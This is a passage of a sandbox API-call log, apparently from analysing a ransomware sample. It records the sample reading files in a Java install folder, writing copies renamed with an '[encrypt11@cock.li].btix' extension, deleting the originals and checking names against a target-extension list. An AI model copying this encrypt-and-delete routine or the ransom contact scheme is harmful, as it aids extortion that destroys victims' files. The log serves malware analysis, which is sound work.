GetLastError () returned 0x0 [0151.851] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1ae40, lpOverlapped=0x0) returned 1 [0151.963] WriteFile (in: hFile=0x398, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1ae50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1ae50, lpOverlapped=0x0) returned 1 [0151.966] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.966] WriteFile (in: hFile=0x398, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x108, lpOverlapped=0x0) returned 1 [0151.966] SetEndOfFile (hFile=0x398) returned 1 [0151.967] CloseHandle (hObject=0x398) returned 1 [0151.967] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.967] SetEndOfFile (hFile=0x35c) returned 1 [0151.968] CloseHandle (hObject=0x35c) returned 1 [0151.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.968] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 1 [0151.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.969] lstrlenW (lpString=".doc") returned 4 [0151.969] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.969] lstrlenW (lpString=".docx") returned 5 [0151.969] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0151.969] lstrlenW (lpString=".pdf") returned 4 [0151.969] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.969] lstrlenW (lpString=".xls") returned 4 [0151.969] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.969] lstrlenW (lpString=".xlsx") returned 5 [0151.969] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0151.969] lstrlenW (lpString=".ppt") returned 4 [0151.969] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.969] lstrlenW (lpString=".zip") returned 4 [0151.969] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.969] lstrlenW (lpString=".rar") returned 4 [0151.969] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.969] lstrlenW (lpString=".bz2") returned 4 [0151.969] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.969] lstrlenW (lpString=".7z") returned 3 [0151.970] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.970] lstrlenW (lpString=".dbf") returned 4 [0151.970] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.970] lstrlenW (lpString=".1cd") returned 4 [0151.970] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.970] lstrlenW (lpString=".jpg") returned 4 [0151.970] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.970] lstrlenW (lpString=".doc") returned 4 [0151.970] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.970] lstrlenW (lpString=".docx") returned 5 [0151.970] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0151.970] lstrlenW (lpString=".pdf") returned 4 [0151.970] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.970] lstrlenW (lpString=".xls") returned 4 [0151.970] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.970] lstrlenW (lpString=".xlsx") returned 5 [0151.970] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0151.970] lstrlenW (lpString=".ppt") returned 4 [0151.970] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.970] lstrlenW (lpString=".zip") returned 4 [0151.971] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.971] lstrlenW (lpString=".rar") returned 4 [0151.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.971] lstrlenW (lpString=".bz2") returned 4 [0151.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.971] lstrlenW (lpString=".7z") returned 3 [0151.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.971] lstrlenW (lpString=".dbf") returned 4 [0151.971] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.971] lstrlenW (lpString=".1cd") returned 4 [0151.971] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.971] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll") returned 65 [0151.971] lstrlenW (lpString=".jpg") returned 4 [0151.971] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.971] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".btix") returned -1 [0151.971] lstrlenW (lpString="classlist") returned 9 [0151.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.972] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=84355) returned 1 [0151.972] CloseHandle (hObject=0x35c) returned 1 [0151.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0151.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.972] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.972] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.972] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.972] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.974] GetLastError () returned 0x0 [0151.974] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x14983, lpOverlapped=0x0) returned 1 [0151.977] WriteFile (in: hFile=0x398, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x14990, lpOverlapped=0x0) returned 1 [0151.979] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.979] WriteFile (in: hFile=0x398, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0151.979] SetEndOfFile (hFile=0x398) returned 1 [0151.979] CloseHandle (hObject=0x398) returned 1 [0151.979] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.979] SetEndOfFile (hFile=0x35c) returned 1 [0151.981] CloseHandle (hObject=0x35c) returned 1 [0151.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.981] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0151.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.982] lstrlenW (lpString=".doc") returned 4 [0151.982] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0151.982] lstrlenW (lpString=".docx") returned 5 [0151.982] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0151.982] lstrlenW (lpString=".pdf") returned 4 [0151.982] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0151.982] lstrlenW (lpString=".xls") returned 4 [0151.982] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0151.982] lstrlenW (lpString=".xlsx") returned 5 [0151.982] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0151.982] lstrlenW (lpString=".ppt") returned 4 [0151.982] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0151.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.982] lstrlenW (lpString=".zip") returned 4 [0151.982] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0151.982] lstrlenW (lpString=".rar") returned 4 [0151.982] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0151.982] lstrlenW (lpString=".bz2") returned 4 [0151.982] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0151.982] lstrlenW (lpString=".7z") returned 3 [0151.983] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.983] lstrlenW (lpString=".dbf") returned 4 [0151.983] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.983] lstrlenW (lpString=".1cd") returned 4 [0151.983] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.983] lstrlenW (lpString=".jpg") returned 4 [0151.983] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.983] lstrlenW (lpString=".doc") returned 4 [0151.983] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0151.983] lstrlenW (lpString=".docx") returned 5 [0151.983] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0151.983] lstrlenW (lpString=".pdf") returned 4 [0151.983] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0151.983] lstrlenW (lpString=".xls") returned 4 [0151.983] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0151.983] lstrlenW (lpString=".xlsx") returned 5 [0151.983] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0151.983] lstrlenW (lpString=".ppt") returned 4 [0151.983] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0151.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.983] lstrlenW (lpString=".zip") returned 4 [0151.983] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0151.984] lstrlenW (lpString=".rar") returned 4 [0151.984] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0151.984] lstrlenW (lpString=".bz2") returned 4 [0151.984] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0151.984] lstrlenW (lpString=".7z") returned 3 [0151.984] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.984] lstrlenW (lpString=".dbf") returned 4 [0151.984] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.984] lstrlenW (lpString=".1cd") returned 4 [0151.984] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0151.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0151.984] lstrlenW (lpString=".jpg") returned 4 [0151.984] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0151.984] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0151.984] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0151.984] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.985] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=51236) returned 1 [0151.985] CloseHandle (hObject=0x35c) returned 1 [0151.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0151.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0151.985] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.985] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.047] GetLastError () returned 0x0 [0152.047] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0xc824, lpOverlapped=0x0) returned 1 [0152.048] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xc830, lpOverlapped=0x0) returned 1 [0152.050] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.050] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0152.050] SetEndOfFile (hFile=0x394) returned 1 [0152.050] CloseHandle (hObject=0x394) returned 1 [0152.050] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.050] SetEndOfFile (hFile=0x35c) returned 1 [0152.051] CloseHandle (hObject=0x35c) returned 1 [0152.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.051] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0152.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.052] lstrlenW (lpString=".doc") returned 4 [0152.052] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0152.052] lstrlenW (lpString=".docx") returned 5 [0152.052] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0152.052] lstrlenW (lpString=".pdf") returned 4 [0152.052] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0152.052] lstrlenW (lpString=".xls") returned 4 [0152.052] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0152.052] lstrlenW (lpString=".xlsx") returned 5 [0152.052] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0152.052] lstrlenW (lpString=".ppt") returned 4 [0152.052] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0152.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.052] lstrlenW (lpString=".zip") returned 4 [0152.052] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0152.052] lstrlenW (lpString=".rar") returned 4 [0152.052] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0152.052] lstrlenW (lpString=".bz2") returned 4 [0152.053] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString=".7z") returned 3 [0152.053] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.053] lstrlenW (lpString=".dbf") returned 4 [0152.053] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.053] lstrlenW (lpString=".1cd") returned 4 [0152.053] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.053] lstrlenW (lpString=".jpg") returned 4 [0152.053] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.053] lstrlenW (lpString=".doc") returned 4 [0152.053] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString=".docx") returned 5 [0152.053] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0152.053] lstrlenW (lpString=".pdf") returned 4 [0152.053] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString=".xls") returned 4 [0152.053] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0152.053] lstrlenW (lpString=".xlsx") returned 5 [0152.053] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0152.053] lstrlenW (lpString=".ppt") returned 4 [0152.054] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0152.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.054] lstrlenW (lpString=".zip") returned 4 [0152.054] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0152.054] lstrlenW (lpString=".rar") returned 4 [0152.054] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0152.054] lstrlenW (lpString=".bz2") returned 4 [0152.054] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0152.054] lstrlenW (lpString=".7z") returned 3 [0152.054] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.054] lstrlenW (lpString=".dbf") returned 4 [0152.054] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0152.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.054] lstrlenW (lpString=".1cd") returned 4 [0152.054] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0152.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0152.054] lstrlenW (lpString=".jpg") returned 4 [0152.054] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0152.054] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0152.054] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0152.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.054] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=1044) returned 1 [0152.055] CloseHandle (hObject=0x35c) returned 1 [0152.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0152.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0152.055] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.055] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0152.057] GetLastError () returned 0x0 [0152.057] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x414, lpOverlapped=0x0) returned 1 [0152.058] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x420, lpOverlapped=0x0) returned 1 [0152.058] ReadFile (in: hFile=0x35c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0152.059] WriteFile (in: hFile=0x394, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xee, lpOverlapped=0x0) returned 1 [0152.059] SetEndOfFile (hFile=0x394) returned 1 [0152.059] CloseHandle (hObject=0x394) returned 1 [0152.059] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, 